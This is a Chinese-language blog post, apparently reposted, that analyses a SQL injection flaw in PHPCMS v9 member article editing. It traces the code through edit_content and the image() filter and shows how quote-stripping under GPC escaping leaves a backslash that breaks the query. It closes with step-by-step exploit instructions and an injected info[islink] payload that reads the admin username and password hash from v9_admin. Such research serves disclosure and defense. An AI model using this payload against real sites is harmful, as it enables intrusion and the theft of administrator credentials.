失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > php cms 代码注入 PHPCMS全版本通杀SQL注入漏洞

php cms 代码注入 PHPCMS全版本通杀SQL注入漏洞

时间:2024-06-07 03:33:51

相关推荐

php cms 代码注入 PHPCMS全版本通杀SQL注入漏洞

漏洞分析

首先看下面的代码

/phpcms/modules/member/content.php 202行 edit函数

[php]

public function edit() {

$_username = $this->memberinfo['username'];

if(isset($_POST['dosubmit'])) {

$catid = $_POST['info']['catid'] = intval($_POST['info']['catid']);

$siteids = getcache('category_content', 'commons');

$siteid = $siteids[$catid];

$CATEGORYS = getcache('category_content_'.$siteid, 'commons');

$category = $CATEGORYS[$catid];

if($category['type']==0) {//审核状态时,点编辑 再提交,进入if分支

$id = intval($_POST['id']);

$catid = $_POST['info']['catid'] = intval($_POST['info']['catid']);

$this->content_db = pc_base::load_model('content_model');

$modelid = $category['modelid'];

$this->content_db->set_model($modelid);

//判断会员组投稿是否需要审核

$memberinfo = $this->memberinfo;

$grouplist = getcache('grouplist');

$setting = string2array($category['setting']);

if(!$grouplist[$memberinfo['groupid']]['allowpostverify'] || $setting['workflowid']) {

$_POST['info']['status'] = 1;

}

$info = array();

foreach($_POST['info'] as $_k=>$_v) {

if(in_array($_k, $fields)) $_POST['info'][$_k] = ew_html_special_chars(trim_script($_v));

}

$_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl']));

//exit(print_r($_POST['info']));

$this->content_db->edit_content($_POST['info'],$id);

$forward = $_POST['forward'];

showmessage(L('update_success'),$forward);

}

} else {

//...

}[/php]

229行

[php]

$this->content_db->edit_content($_POST['info'],$id);[/php]

其中 $_POST['info'] 参数是一个数组,其内容是在线投稿的各项内容,如图所示

好了,接下来我们看看这些数据都经过了怎样的处理...

跟上edit_content函数

/phpcms/model/content_model.class.php 第234行开始

[php]

public function edit_content($data,$id) {

$model_tablename = $this->model_tablename;

//前台权限判断

if(!defined('IN_ADMIN')) {

$_username = param::get_cookie('_username');

$us = $this->get_one(array('id'=>$id,'username'=>$_username));

if(!$us) return false;

}

$this->search_db = pc_base::load_model('search_model');

require_once CACHE_MODEL_PATH.'content_input.class.php';

require_once CACHE_MODEL_PATH.'content_update.class.php';

$content_input = new content_input($this->modelid);

$inputinfo = $content_input->get($data);//跟进此函数

// /caches/caches_model/caches_data/content_input.class.php get函数

$systeminfo = $inputinfo['system'];

[/php]

第248行,我们可以看到 $_POST['info'] 数组进入了 get 函数,继续跟进

/caches/caches_model/caches_data/content_input.class.php 第55行开始

[php]

if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);

$MODEL = getcache('model', 'commons');

$this->db->table_name = $this->fields[$field]['issystem'] ? $this->db_pre.$MODEL[$this->modelid]['tablename'] : $this->db_pre.$MODEL[$this->modelid]['tablename'].'_data';

if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage($name.L('the_value_must_not_repeat'));

$func = $this->fields[$field]['formtype'];

if(method_exists($this, $func)) $value = $this->$func($field, $value);//这里是关键,后面慢慢说明

if($this->fields[$field]['issystem']) {

$info['system'][$field] = $value;

} else {

$info['model'][$field] = $value;

}[/php]

我们重点关注这里是怎么处理的

[php]

if(method_exists($this, $func)) $value = $this->$func($field, $value);

[/php]

为了方便看清楚程序在这里究竟是怎样处理的,我们在这行代码前面加入以下调试代码,看看都经过了哪些函数的处理...

[php]

if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);

$MODEL = getcache('model', 'commons');

$this->db->table_name = $this->fields[$field]['issystem'] ? $this->db_pre.$MODEL[$this->modelid]['tablename'] : $this->db_pre.$MODEL[$this->modelid]['tablename'].'_data';

if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage($name.L('the_value_must_not_repeat'));

$func = $this->fields[$field]['formtype'];

echo "

Function :-->".$func."";//这是添加的调试代码

if(method_exists($this, $func)) $value = $this->$func($field, $value);//这里是关键,后面慢慢说明

if($this->fields[$field]['issystem']) {

$info['system'][$field] = $value;

} else {

$info['model'][$field] = $value;

}[/php]

编辑投稿内容,提交

看见了吧,我们提交的内容经过了如下几个函数:catid title keyword copyform textarea editor image islink box

经过分析后,我们重点关注image函数,继续跟上

/caches/caches_model/caches_data/content_input.class.php 第102行 image函数

[php]

function image($field, $value) {

$value = str_replace(array("'",'"','(',')'),'',$value);

return trim($value);

}[/php]

过滤了"'"、"("、")",但是呢 我们知道当开启了GPC的时候,单引号会被转义 '-->\'

明白了吧? image函数过滤了单引号,假设我们提交的数据恰巧经过了image函数,则单引号被过滤了,留下"\",那么这个"\"将会吃掉一个单引号,造成注入

#3 漏洞Poc

条件:后台开启投稿,并要求审核

step1 在会员中心随便投一篇文章,提交

step2 点击编辑,如下

step3 在缩略图栏填入 /sql.jpg',如图

提交后,报错了...

# 漏洞最终利用Exp

在缩略图栏填入:/sql.jpg'

点击提交,采用Tamper data抓包修改,将info[islink]修改为

[php]

,title=(select concat(username,password) from v9_admin where userid=1) -- felixk3y

[/php]

点击确定,再点编辑 即可读取管理员账号 密码,如图

from:felixk3y@

如果觉得《php cms 代码注入 PHPCMS全版本通杀SQL注入漏洞》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。